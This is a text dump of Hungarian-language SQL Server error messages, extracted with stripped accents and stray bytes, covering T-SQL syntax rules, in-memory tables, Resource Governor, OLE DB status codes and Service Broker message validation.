Nem sikerlt a(z)  %2!s!  %1!s! ltrehozsa vagy jbli ltrehozsa. Tmrtett index nem hasznlhat olyan tblnl, amely ritka oszlopokat vagy oszlopkszlet tpus oszlopot tartalmaz.

|A szqrt  %1!s!  statisztikai adatok nem hozhatk ltre a(z)  %2!s!  objektumhoz, mert az nem felhasznli tbla. A szqrt statisztikai adatok csak a felhasznli tblknl tmogatottak.

hA kvetkezQ index ltrehozsa vagy jraptse sikertelen volt:  %1!s! . Egy sszevont tblhoz tartoz egyedi vagy frtztt indexnek tartalmaznia kell az sszevont oszlopot.

A kvetkezQ index ltrehozsa sikertelen volt:  %1!s! . Egy sszevont adatbzisban a nzetek nem indexelhetQk.

drvnytelen online index-ltrehozsi mqvelet

A tbla rtkq  %1!s!  paramter READONLY bellts, ezrt nem mdosthat.

A READONLY kapcsol nem hasznlhat EXECUTE vagy CREATE AGGREGATE utastsban.

A WITH CUBE s a WITH ROLLUP kapcsol nem engedlyezett a ROLLUP, a CUBE vagy a GROUPING SETS specifikcival.

Tl sok csoportostsi kszlet. A maximlis mennyisg %1!s!.

tHiba jbli kivltshoz a THROW utastst kell hasznlni egy CATCH blokkban. Szrja be a THROW utastst egy CATCH blokkba, vagy adja meg a hiba paramtereit a THROW utastsban. 

|Allekrdezsek nem engedlyezettek az OUTPUT zradkban.

Tl sok kifejezs van megadva a GROUP BY zradkban. Csoportostsi kszletek megadsakor a maximlis szm %1!s!.

PA CUBE() s a ROLLUP() csoportostsi konstruktor nem engedlyezett az aktulis kompatibilitsi zemmdban, csak a 100-as, illetve a magasabb verzij zemmdban.

A DEFAULT rtk nem engedlyezett a(z)  %1!s!  jobb oldaln.

Az oszlopok szmnak azonosnak kell lennie a tbla rtkq konstruktor minden sorban.

 %1!s!  tpus mqvelet nem engedlyezett a MERGE utastsok  WHEN NOT MATCHED  zradkban.

 INSERT  tpus mqvelet nem engedlyezett a MERGE utastsok  %1!s!  zradkban.

A MERGE utastsoknak pontosvesszQvel (;) kell vgzQdnik.

 %1!s!  tpus mqvelet nem szerepelhet tbbszr a MERGE utastsok  %2!s!  zradkban.

A begyazott INSERT, UPDATE, DELETE vagy MERGE utastsoknak rendelkeznik kell OUTPUT zradkkal.

A(z) %1!s! zradk nem engedlyezett, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

A lekrdezsmutatk nem engedlyezettek a begyazott INSERT, UPDATE, DELETE vagy MERGE utastsokban.

Az OUTPUT INTO zradk nem engedlyezett a begyazott INSERT, UPDATE, DELETE vagy MERGE utastsban.

A WHERE CURRENT OF zradk nem engedlyezett a begyazott INSERT, UPDATE, DELETE vagy MERGE utastsban.

A DISTINCT kulcssz nem engedlyezett, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

`A MERGE utastsban nem llthat be vltoz az ugyanabban a hozzrendelsben szereplQ oszlopra s kifejezsre az UPDATE mqvelet SET zradkban. A  SET @variable = oszlop = kifejezs  formtum hozzrendelsek nem rvnyesek a MERGE utastsban lvQ UPDATE utasts SET zradkban. Mdostsa gy a SET zradkot, hogy csak a  SET @variable = oszlop  vagy  SET @variable = kifejezs  formtumban adja meg a hozzrendelseket.

A FORCESEEK mutat nem engedlyezett az INSERT, az UPDATE s a DELETE utastsban clknt megadott tblkhoz.

A VARYING kapcsol nem hasznlhat DECLARE, CREATE AGGREGATE vagy CREATE FUNCTION utastsban.

A felhasznl ltal definilt sszestsek nem tmogatjk az alaprtelmezett paramtereket.

Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts a JOIN s az APPLY opertor egyik oldaln sem engedlyezett.

Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts nem lehet a PIVOT s az UNPIVOT opertor tblaforrsa.

<Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts nem engedlyezett olyan SELECT utastsban, amely nem kzvetlen sorforrsa egy INSERT utastsnak.

Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts nem engedlyezett az UPDATE vagy a DELETE utasts FROM zradkban.

Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts nem engedlyezett msik begyazott INSERT, UPDATE, DELETE vagy MERGE utastsban.

Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts nem engedlyezett a UNION, az INTERSECT s az EXCEPT opertor egyik oldaln sem.

Begyazott INSERT, UPDATE, DELETE vagy MERGE utasts nem engedlyezett a MERGE utasts USING zradkban.

A vltoz-hozzrendels nem engedlyezett a legfelsQ szintq UNION, INTERSECT vagy EXCEPT opertort tartalmaz utastsokban.

A WHERE zradk rvnytelen a szqrt  %2!s!  %1!s! esetben ( %3!s!  tbla).

A nem indexelendQ szavak teljes szveges listjt hasznl utastsoknak pontosvesszQvel (;) kell vgzQdnik.

Az ALTER TABLE REBUILD s az ALTER INDEX REBUILD utastsokban meg kell adni a PARTITION=ALL zradkot, ha partci van megadva a DATA_COMPRESSION zradkukban. A PARTITION=ALL zradkkal erQsthetQ meg, hogy a tbla vagy az index sszes partcija jbl ltre lesz hozva, mg akkor is, ha csak alkszlet van megadva a DATA_COMPRESSION zradkban.

Az INSERT utastsban lvQ sorrtk-kifejezsek szma meghaladja az engedlyezett maximlis mennyisget (%1!s! sorrtk). 

A beszrand oszlopok MERGE utastsban hasznlt listja nem tartalmazhat tbbrszes azonostkat. Hasznljon egyrszes azonostkat.

A keressi tulajdonsgok listjt hasznl utastsoknak pontosvesszQvel (;) kell vgzQdnik.

TOP zradk nem hasznlhat olyan lekrdezsben vagy segdlekrdezsben, amelyben mr szerepel egy OFFSET zradk.

|Egy OFFSET zradkban megadott eltols nem lehet negatv.

Egy OFFSET zradkban megadott sorszmnak egsz szmnak kell lennie.

Egy FETCH zradkban megadott sorszmnak nullnl nagyobbnak kell lennie.

A FORCESCAN mutat nem engedlyezett az INSERT, az UPDATE s a DELETE utastsban clknt megadott tblkhoz.

A FORCESCAN mutat a FORCESEEK mutatval egytt lett megadva. Tvoltsa el a mutatk egyikt, majd kldje el a lekrdezst jbl.

A paramterezett FORCESEEK mutat nem hasznlhat INDEX mutatkkal vagy nem paramterezett FORCESEEK mutatval egytt ugyanazon az objektumon. Vagy hasznljon INDEX mutatkat s nem paramterezett FORCESEEK mutatt, vagy hasznljon INDEX mutatk nlkli paramterezett FORCESEEK mutatt mindegyik tblhoz vagy nzethez.

8Tbb FORCESEEK mutat van megadva ugyanarra a tblra vagy nzetre. Tvoltsa el a felesleges FORCESEEK mutatkat, majd kldje el a lekrdezst jbl.

(A FORCESEEK mutat s a 0. index nem hasznlhat egytt. Javtsa ki a FORCESEEK mutatnak tadott indexet, majd kldje el a lekrdezst jbl.

(A FORCESCAN mutat nem hasznlhat egynl tbb INDEX mutatval. Tvoltsa el a felesleges INDEX mutatkat, majd kldje el a lekrdezst jbl.

A(z)  %1!s!  fggvny WITHIN GROUP zradkban levQ ORDER BY zradknak pontosan egy kifejezst kell tartalmaznia.

A kvetkezQ fggvny nem rendelkezhet ablakkerettel:  %1!s! .

A kvetkezQ fggvnynek rendelkeznie kell egy OVER zradkkal:  %1!s! .

A kvetkezQ fggvnynek rendelkeznie kell egy WITHIN GROUP zradkkal:  %1!s! .

A(z)  %1!s!  fggvny %2!s! s %3!s! kztti szm argumentumot fogad.

A ROWS vagy a RANGE kulcsszval megadott ablakkeretnek rendelkeznie kell egy ORDER BY zradkkal.

A kvetkezQ fggvny nem rendelkezhet WITHIN GROUP zradkkal:  %1!s! .

A kvetkezQ fggvny nem rendelkezhet ORDER BY zradkkal egy OVER zradkon bell:  %1!s! .

A DISTINCT kulcssz hasznlata nem engedlyezett az OVER zradkkal.

A sklzsi argumentum rvnytelen. A(z) %1!s! adattpus sklzsi argumentumaknt megadhat rvnyes kifejezsek az egsz tpus llandk s az egsz tpus llandt megad kifejezsek.

rvnytelen %1!s! adattpus szerepel a kvetkezQ fggvnyben: %2!s!.

4A kvetkezQ fggvny hasznlata nem engedlyezett a jelenlegi kompatibilitsi mdban: %1!s!. Csak a 110-es vagy magasabb szm mdban engedlyezett.

A GROUP BY zradk csak egy lekrdezsmutatt tartalmazhat. Tvoltsa el a felesleges mutatkat, majd futtassa jbl a lekrdezst.

A lekrdezsben szereplQ csoportostsi oszlopok szma meghaladta a maximlisan engedlyezett szmot. Az SQL Server 64k csoportostsi oszlopot engedlyez. Cskkentse a csoportostsi oszlopok szmt, majd futtassa jbl a lekrdezst.

A DISTRIBUTED_AGG s a CENTRAL_AGG mutat nem hasznlhat a CUBE vagy a ROLLUP zradkkal. Mdostsa a lekrdezst, majd futtassa jbl.

A CENTRAL_AGG mutatt a GROUP BY zradkban szereplQ sszes oszlop utn meg kell adni. Mdostsa a lekrdezst, majd futtassa jbl.

HA DISTRIBUTED_AGG mutat nem hasznlhat, ha a GROUP BY zradk egynl tbbszr tartalmazza ugyanazt az oszlopot. Mdostsa a lekrdezst, majd futtassa jbl.

A LABEL mutat csak egyszer hasznlhat a lekrdezsben. Mdostsa a lekrdezst, majd futtassa jbl.

A(z)  %2!s!  %1!s! hasznlata nem tmogatott memriban trolt tblk esetn.

A(z)  %2!s!  %1!s! mg nincs megvalstva memriban trolt tblkhoz.

A(z)  %2!s!  %1!s! hasznlata nem tmogatott natv mdon lefordtott trolt eljrsokkal.

A(z)  %2!s!  %1!s! mg nincs megvalstva natv mdon lefordtott trolt eljrsokhoz.

A(z)  %1!s!  index nem hozhat ltre egy memriban trolt tblra, mert nem fedi le azt.

A(z)  %1!s!  tbla vagy nzet nem memriban trolt tbla, ezrt nem rhetQ el natv mdon lefordtott trolt eljrsbl.

A(z)  %1!s!  tbla egy memriban trolt tbla, ezrt csak natv mdon lefordtott trolt eljrsbl rhetQ el.

A(z)  %1!s!  eljrs nem hajthat vgre, mert ez egy natv mdon lefordtott eljrs, amely mg nem lett rendszerbe lltva.

lNem hozhat ltre oszlopok nlkli hekatn tbla.

Fordtsi hibk miatt a kvetkezQ eljrs rendszerbe lltsa sikertelen volt:  %1!s! .

A(z)  %1!s!  s  %2!s!  kztti talakts mg nincs megvalstva natv mdon lefordtott trolt eljrsokhoz.

A kvetkezQ objektum nem memriban trolt tbla:  %1!s! .

A BEGIN ATOMIC utasts hasznlata csak natv mdon lefordtott trolt eljrsok belsejben tmogatott.

A natv mdon lefordtott trolt eljrsok trzse csak ATOMIC blokk lehet.

A BEGIN ATOMIC utasts WITH zradknak meg kell adnia egy rtket a kvetkezQ kapcsol szmra:  %1!s! .

A(z)  %2!s!  %1!s! hasznlata nem tmogatott aktv xtp-tranzakcival.

Az ALTER AVAILABILITY GROUP parancs vgrehajtsa sikertelen volt, mert a parancs tbb MODIFY REPLICA kapcsolt tartalmazott: %1!s!. Adjon meg kln ALTER AVAILABILITY GROUP ... MODIFY REPLICA parancsot minden egyes mdostani kvnt msodpldny-belltshoz.

Nem sikerlt elindtani a(z)  %1!s!  WSFC-erQforrshoz tartoz figyelQt, az a kvetkezQ hibakdot adta vissza: %2!s!,  %3!s! . ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt lelltani a kvetkezQ Windows feladattvteli frterQforrshoz tartoz figyelQt:  %1!s! . Hiba: %2!s!. %3!s!

Nem sikerlt konfigurlni az erQforrs-vezrlQt az indts sorn. Az SQL Server hibanapljban keresse meg a vonatkoz hibazeneteket, vagy a DBCC CHECKCATALOG('master') utasts futtatsval ellenQrizze a fQadatbzis konzisztencijt.

A felhasznlnak nincs engedlye az erQforrs-vezrlQ konfigurcijnak megvltoztatsra.

A felhasznl ltal definilt  %1!s!  fggvny nem ltezik a fQadatbzisban, vagy a felhasznlnak nincs engedlye az elrshez.

4A felhasznl ltal definilt osztlyoz fggvny szmra megadott  %1!s!  smanv nem ltezik, vagy a felhasznlnak nincs engedlye a hasznlatra.

$Az erQforrs-vezrlQ konfigurcija sikertelen. Az eldobott vagy a ms erQforrskszletekbe thelyezett munkaterhelsi csoportokban aktv munkamenetek tallhatk. Vlassza le az rintett munkaterhelsi csoportokban lvQ sszes aktv munkamenetet, s prblja meg jra.

Nem sikerlt befejezni az erQforrs-vezrlQ konfigurcijt, mert nincs elegendQ memria. Cskkentse a kiszolgl terhelst, vagy prblja meg dediklt rendszergazdai kapcsolaton keresztl vgrehajtani a mqveletet.

4A(z)  %1!s! . %2!s!  objektum nem rvnyes felhasznl ltal definilt osztlyoz fggvnye az erQforrs-vezrlQnek. Az rvnyes felhasznl ltal definilt osztlyoz fggvnynek smhoz ktttnek kell lennie, a sysname adatbzist kell visszaadnia s nem lehetnek paramterei.

A(z) %2!s! rtkq  %1!s!  attribtum nagyobb, mint a(z) %4!s! rtkq  %3!s!  attribtum.

A(z) %2!s! rtkq  %1!s!  attribtum kisebb, mint a(z) %4!s! rtkq  %3!s!  attribtum.

xAz erQforrskszlet nem hozhat ltre. Az erQforrskszletek maximlis szma nem haladhatja meg az aktulis korltozst (%1!s!), belertve az elQre definilt erQforrskszleteket is.

Nem sikerlt befejezni a mqveletet. A megadott  %1!s!  rtk (%2!s!) azt okozza, hogy az sszes erQforrskszlet minimumrtknek sszege meghaladja a 100 szzalkot a kvetkezQ temezQn: %3!s!. Cskkentse az rtket egy vagy tbb kszletnl, vagy mdostsa a kszlet affinitst, hogy az sszeg ne legyen nagyobb 100-nl.

A krt mqvelet nem hajthat vgre, mert a(z)  %1!s!  erQforrskszlet nem ltezik.

Nem lehet befejezni a mqveletet. Az elQre definilt %1!s! eldobsa nem engedlyezett.

A felhasznlk szmra nem engedlyezett a(z) %1!s! mqvelet vgrehajtsa a(z)  %3!s!  erQforrskszlet  %2!s!  munkaterhelsi csoportjn.

A(z)  %2!s!  %1!s! neve nem kezdQdhet a kvetkezQvel: # / ##.

Nem lehet befejezni a mqveletet. A(z)  %1!s!  %2!s! megvltoztatsa nem engedlyezett.

A(z)  %1!s!  erQforrskszlet nem dobhat el, mert a(z)  %2!s!  munkaterhelsi csoportot tartalmazza. Az erQforrskszlet eldobsa elQtt dobja el vagy tvoltsa el az erQforrskszletet hasznl sszes munkaterhelsi csoportot.

Nem sikerlt az ALTER WORKLOAD GROUP utasts vgrehajtsa. Meg kell adni egy  WITH  vagy egy  USING  zradkot.

xA(z)  %2!s!  %1!s! nem hozhat ltre, mert mr ltezik.

\Hiba trtnt az erQforrs-vezrlQ konfigurcijnak a fQadatbzisbl trtnQ olvassa kzben. EllenQrizze a fQadatbzis integritst, vagy forduljon a rendszergazdhoz.

HNem lehet vgrehajtani a(z) %1!s! mqveletet a felhasznl ltal definilt  %2!s!  fggvnynl. A fggvny az erQforrs-vezrlQ osztlyozjaknt van hasznlva.

A(z)  %1!s!  %2!s! nem tvolthat el a kvetkezQ helyrQl:  %3!s!  %4!s!.

pA(z) %1!s! sikertelen. Futtassa jbl az utastst.

,A(z) %1!s! sikertelen. Az erQforrs-vezrlQ nem rhetQ el az SQL Server jelen verzijban. Kezelheti az erQforrs-vezrlQ metaadatait, de nem fogja tudni alkalmazni az erQforrs-vezrlQ konfigurcijt. Csak az SQL Server Enterprise kiads tmogatja az erQforrs-vezrlQt.

A kszlet affinitstartomnya nem rvnyes. Az als hatr rtknek (%1!s!) kisebbnek kell lennie a(z) %2!s! felsQ hatrnl.

Egy %1!s! rtk egynl tbbszr lett megadva a kszletek affinitstartomnynak listjn.

A(z) %3!s! %2!s! elemet a(z) %4!s! szmra meghatroz %1!s! tartomny legalbb egy olyan %5!s! elemet tartalmaz, amely nem rhetQ el az aktulis pldny szmra. Az e pldny szmra elrhetQ maximlis %6!s! szm: %7!s!.

Nem sikerlt befejezni a mqveletet. A megadott  %1!s!  rtk (%2!s!) azt okozza, hogy a kvetkezQ erQforrskszletet hasznl sszes munkaterhelsi csoport minimumrtknek sszege meghaladja a 100 szzalkot: %3!s!. Cskkentse az rtket, vagy mdostson ms munkaterhelsi csoportokat, hogy az sszeg ne legyen nagyobb 100-nl.

Nem sikerlt futtatni az erQforrs-vezrlQ felhasznl ltal definilt osztlyoz fggvnyt. A rszleteket az SQL Server hibanapljban tallhat tovbbi hibk tartalmazzk a(z) %1!s! munkamenet-azonosttl kezdve. Az osztlyoz ltal ignybe vett idQ: %2!s! ms. 

Az erQforrs-vezrlQ  %1!s!  mqvelett megszaktotta a felhasznl.

|Nem sikerlt az erQforrs-vezrlQ jbli konfigurcija.

PAz oszlop llapotkdja ismeretlen.

XSikeresen visszakapott nem NULL rtk.

Ksleltetett lerrvnyests trtnt. A kts nem rvnyes az oszlophoz.

Az adatrtk konvertlsa valamilyen, az elQjeleltrstQl s a tlcsordulstl eltrQ okbl sikertelen volt.

PSikeresen visszakapott NULL rtk.

XSikeresen visszakapott csonkolt rtk.

ElQjeleltrs miatt nem sikerlt az adattpus talaktsa.

Nem sikerlt az talakts, mert az adatrtk tlcsordult a szolgltat ltal hasznlt adattpuson.

A szolgltat nem tud memrit lefoglalni vagy msik trolobjektumot megnyitni az oszlopnl.

|A szolgltat nem tudja megllaptani az oszlop rtkt.

A felhasznlnak nem volt engedlye az oszlopba val rsra.

Az adatrtk megsrtette az oszlop integritsi korltozsait.

`Az adatrtk megsrtette az oszlop smjt.

TAz oszlopnak helytelen llapota volt.

PAz oszlop az alaprtket hasznlta.

lAz oszlop ki volt hagyva az adatok belltsakor.

DA sor sikeresen trlve lett.

A tbla azonnali frisstsi zemmdban volt, s egy sor trlse az okozta, hogy tbb sor lett trlve az adatforrsbl.

A sor fel lett oldva, annak ellenre, hogy fggQben volt egy mdosts.

tA sor trlse meg lett szaktva az rtests kzben.

XA sorkszlet optimista konkurencit alkalmazott, s egy oszlop rtke azt kvetQen lett mdostva, hogy utoljra beolvastk vagy jraszinkronizltk a tartalmaz sort.

A sornl fggQben lvQ trls van, vagy a trls tovbbtva lett az adatforrsnak.

PA sor fggQben lvQ beszrand sor.

A DBPROP_CHANGEINSERTEDROWS tulajdonsg rtke VARIANT_FALSE volt, s a sor beszrsa tovbbtva lett az adatforrsnak.

A sor trlse megsrtette az oszlop vagy a tbla integritsi korltozsait.

A sorler rvnytelen volt, vagy olyan sorler volt, amelyhez az aktulis szlnak nincs hozzfrsi jogosultsga.

,A sor trlsvel tllpn a DBPROP_MAXPENDINGROWS sorkszlet-tulajdonsg ltal a fggQben lvQ vltoztatsokra vonatkozan megadott korltozst.

dA sornl megnyitott trolobjektum tallhat.

Elfogyott a szolgltat memrija, s nem tudta lehvni a sort.

A felhasznlnak nem volt megfelelQ engedlye a sor trlsre.

A tbla azonnali frisstsi zemmdban volt, s a sort nem lehetett trlni a kiszolgln megadott korltozsok valamelyiknek elrse miatt, pldul a lekrdezs-vgrehajtsa idQtllpse miatt.

pA frissts nem felelt meg a sma kvetelmnyeinek.

Helyrellthat, a szolgltathoz kapcsold hiba trtnt, pldul RPC-hiba.

A szolgltat azt jelzi, hogy tkzsek fordultak elQ ms tulajdonsgokkal vagy kvetelmnyekkel.

Nem sikerlt megszerezni a szveges, az ntext (vltoz hosszsg szveges) vagy a kp tpus hozzfrshez szksges felletet.

A szolgltat nem tmogatott egy szksges sorkeressi felletet.

A szolgltat nem tmogatott egy felletet, amely az UPDATE/DELETE/INSERT utastsokhoz volt szksges.

pA szolgltat nem tmogatta a beszrst a tblnl.

tA szolgltat nem tmogatta a frisstst a tblnl.

lA szolgltat nem tmogatta a trlst a tblnl.

xA szolgltat nem tmogatott egy sorkeressi pozcit.

|A szolgltat nem tmogatott egy szksges tulajdonsgot.

A szolgltat nem tmogatott egy indexvizsglatot ebben az adatforrsban.

Nem lehet kzbesteni az zenetet, mert hinyzik a FROM szolgltatsnv. Az zenet forrsa:  %1!s! .

LAz zenet el lett dobva, mert a FROM szolgltatsnv mrete meghaladja a(z) %1!s! bjtos maximlis mretet. Szolgltatsnv:  %2!s! . Az zenet forrsa:  %3!s! .

Az zenet el lett dobva, mert hinyzik a FROM tvitelszervezQ-pldny. Az zenet forrsa:  %1!s! .

lAz zenet el lett dobva, mert a FROM tvitelszervezQ-pldny mrete meghaladja a(z) %1!s! bjtos maximlis mretet. tvitelszervezQ-pldny:  %2!s! . Az zenet forrsa:  %3!s! .

Az zenet el lett dobva, mert hinyzik a TO szolgltatsnv. Az zenet forrsa:  %1!s! .

HAz zenet el lett dobva, mert a TO szolgltatsnv mrete meghaladja a(z) %1!s! bjtos maximlis mretet. Szolgltatsnv:  %2!s! . Az zenet forrsa:  %3!s! .

Az zenet el lett dobva, mert hinyzik a szolgltatsi szerzQds neve. Az zenet forrsa:  %1!s! .

\Az zenet el lett dobva, mert a szolgltatsi szerzQds nevnek mrete meghaladja a(z) %1!s! bjtos maximlis mretet. SzerzQdsnv:  %2!s! . Az zenet forrsa:  %3!s! .

Nem lehet kzbesteni az zenetet, mert a beszlgetsazonostt nem lehetett aktv beszlgetshez rendelni. Az zenet forrsa:  %1!s! .

Az zenet el lett dobva, mert nem tallhat a TO szolgltats. Szolgltatsnv:  %1!s! . Az zenet forrsa:  %2!s! .

,Az zenet el lett dobva, mert a felhasznlnak nincs engedlye a cladatbzis elrsre. Adatbzis-azonost: %1!s!. Az zenet forrsa:  %2!s! .

Nem lehet kzbesteni az zenetet, mert a beszlgetsi vgpont mr be van zrva.

Nem lehet kzbesteni az zenetet, mert ez nem az elsQ zenet a beszlgetsben.

(Nem lehet kzbesteni az zenetet, mert nem tallhat  %1!s!  szerzQds vagy a szolgltats nem fogadja a szerzQdshez tartoz beszlgetseket.

Nem lehet kzbesteni az zenetet, mert a(z) %1!s! azonostj felhasznlnak (adatbzis-azonost: %2!s!) nincs engedlye arra, hogy zenetet kldjn a szolgltatsnak. Szolgltatsnv:  %3!s! .

Nem lehet kzbesteni az zenetet, mert egy msik feladat mr elkezdte a feldolgozst.

`Nem lehet kzbesteni az zenetet, mert nem megfelelQ sorrendben kvetkezik a beszlgets szempontjbl. A beszlgets fogadsi sorszma: %1!s!, az zenet sorszma: %2!s!.

Nem lehet kzbesteni az zenetet, mert az zenet egy msolat.

Nem lehet kzbesteni az zenetet, mert a clknt megadott vrakozsi sor le van tiltva. Vrakozsi sor azonostja %1!s!.

Nem lehet kzbesteni az zenetet, mert hinyzik a TO tvitelszervezQ-pldny.

Nem lehet kzbesteni az zenetet, mert inkonzisztencia szlelhetQ az zenetfejlcben.

Nem lehet kzbesteni az zenetet, mert az zenetben tallhat TO szolgltatsnv nem felel meg a beszlgetsi vgpontban lvQ nvnek. Az zenet TO szolgltatsneve:  %1!s! . A beszlgetsi vgpont TO szolgltatsnv:  %2!s! .

Nem lehet kzbesteni az zenetet, mert az zenetben tallhat szolgltatsiszerzQds-nv nem felel meg a beszlgetsi vgpontban lvQ nvnek. Az zenet szolgltatsiszerzQds-neve:  %1!s! . A beszlgetsi vgpont szolgltatsiszerzQds-neve:  %2!s! .

Nem lehet kzbesteni az zenetet, mert a szolgltatsprogram msik pldnya mr elkezdte a beszlgetst a vgponttal.

Nem lehet kzbesteni az zenetet, mert nem tallhat az zenettpus neve. Az zenettpus neve:  %1!s! .

TNem lehet kzbesteni az zenetet, mert az zenettpus nem rsze a szolgltatsi szerzQdsnek. Az zenettpus neve:  %1!s! . A szolgltatsi szerzQds neve:  %2!s! .

Nem lehet kzbesteni az zenetet, mert a kezdemnyezQ szolgltats olyan tpus zenetet kldtt, amelyet csak a cl kldhet. Az zenettpus neve:  %1!s! . A szolgltatsi szerzQds neve:  %2!s! .

Nem lehet kzbesteni az zenetet, mert a clszolgltats olyan tpus zenetet kldtt, amelyet csak a kezdemnyezQ kldhet. Az zenettpus neve:  %1!s! . A szolgltatsi szerzQds neve:  %2!s! .

Nem lehet kzbesteni az zenetet, mert nem lehet lekrni a biztonsgi krnyezetet.

Nem lehet kzbesteni az zenetet, mert nem lehet visszafejteni s rvnyesteni az zenetet.

Nem lehet kzbesteni az zenetet, mert a beszlgetsi vgpont nem vdett, de az zenet vdett.

Nem lehet kzbesteni az zenetet, mert a beszlgetsi vgpont vdett, de az zenet nem vdett.

Az zenet el lett dobva, mert a beszlgetsi vgpont munkamenetkulcsa nem egyezik az zenet munkamenetkulcsval.

Nem lehet kzbesteni az zenetet, mert belsQ hiba trtnt a feldolgozsa kzben. Hibakd: %1!s!, %2!s! llapot: %3!s!.

Rosszul megformzott zenet rkezett. Nincs definilva a binris zenetosztly (%1!s!:%2!s!). Ez hlzati problmra utalhat, vagy arra, hogy msik alkalmazs csatlakozott a Service Broker vgpontjhoz.

Srlt zenet rkezett. A binris fejlc vrt mrete %1!s!, de az rkezett fejlc mrete %2!s! volt.

Nem lehet feldolgozni egy %1!s! zenetet, mert nincs elegendQ memria. Az zenet el lett dobva.

Srlt zenet rkezett. A titkos vltoz adatszegmense rosszul van megformzva.

Srlt zenet rkezett. A titkos vltoz adatszegmense meghaladja az zenet hosszsgt.

Srlt zenet rkezett. Az zenet binris bevezetQ rsze rosszul van megformzva.

Srlt zenet rkezett. A beszlgets biztonsgi verziszma nem %1!s!.%2!s!.

DSrlt zenet rkezett. A nyilvnos vltoz adatelemeinek maximlis szma (%1!s!) tl lett lpve. A nyilvnos vltoz adatelemeinek tallt mennyisge: %2!s!.

Srlt zenet rkezett. A nyilvnos vltoz adateleme (%1!s!) ktszer szerepel az zenetben.

Srlt zenet rkezett. A kzfogs-rvnyestsi fejlc rosszul van megformzva.

8Srlt zenet rkezett. A titkos vltoz adatelemeinek maximlis szma (%1!s!) tl lett lpve. A titkos vltoz adatelemeinek tallt mennyisge: %2!s!.

Srlt zenet rkezett. A titkos vltoz adateleme (%1!s!) ktszer szerepel az zenetben.

Srlt zenet rkezett. A bejelentkezsegyeztetsi fejlc rvnytelen.

Srlt zenet rkezett. Az SSPI-bejelentkezsi fejlc rvnytelen.

Srlt zenet rkezett. A fQkulcs elQtti kulcs rvnytelen.

Srlt zenet rkezett. A biztonsgi tanstvny kulcsmezQinek egyttesen kell szerepelnik vagy egyttesen kell hinyozniuk. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

4Srlt zenet rkezett. A szolgltatspr biztonsgi fejlcben a forrstanstvnynak s az alrsnak egyttesen kell szerepelnie, vagy egyttesen kell hinyoznia. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

hSrlt zenet rkezett. A cltanstvny sorozatszma hinyzik. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A szolgltatspr biztonsgi fejlcben a cltanstvnynak, a kulcscsere kulcsnak, a kulcscsere kulcsazonostjnak s a munkamenet kulcsnak egyttesen kell szerepelnie, vagy egyttesen kell hinyoznia. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

hSrlt zenet rkezett. A munkamenet-azonost kulcsa hinyzik. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A titkostsi jelzQ be van lltva, de az zenettrzs, a MIC vagy a vdQrtk hinyzik. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!: %3!s!.

Srlt zenet rkezett. A MIC szerepel, de az zenettrzs vagy a titkostsi jelzQ hinyzik. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A MIC s a munkamenet-kulcs azonostja rvnytelen llapotban van. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenetsorszm: %3!s!.

Srlt zenet rkezett. A MIC mrete %1!s!, azonban nem lehet nagyobb %2!s! bjtnl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A tanstvny sorozatszmnak mrete %1!s!, azonban nem lehet nagyobb %2!s! bjtnl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A tanstvnykibocst nevnek mrete %1!s!, azonban nem lehet nagyobb %2!s! bjtnl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A cltanstvny sorozatszmnak mrete %1!s!, azonban nem lehet nagyobb %2!s! bjtnl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A cltanstvny-kibocst nevnek mrete %1!s!, azonban nem lehet nagyobb %2!s! bjtnl. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %3!s! , kezdemnyezQ: %4!s!, zenetsorszm: %5!s!.

Srlt zenet rkezett. A szolgltatspr biztonsgi fejlcnek mrete %1!s!, azonban %2!s! s %3!s! bjt kztt kell lennie. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %4!s! , kezdemnyezQ: %5!s!, zenetsorszm: %6!s!.

Srlt zenet rkezett. A kulcscsere kulcsnak mrete %1!s!, azonban %2!s! s %3!s! bjt kztt kell lennie. Ez a kvetkezQ zenetben fordult elQ: beszlgetsazonost:  %4!s! , kezdemnyezQ: %5!s!, zenetsorszm: %6!s!.

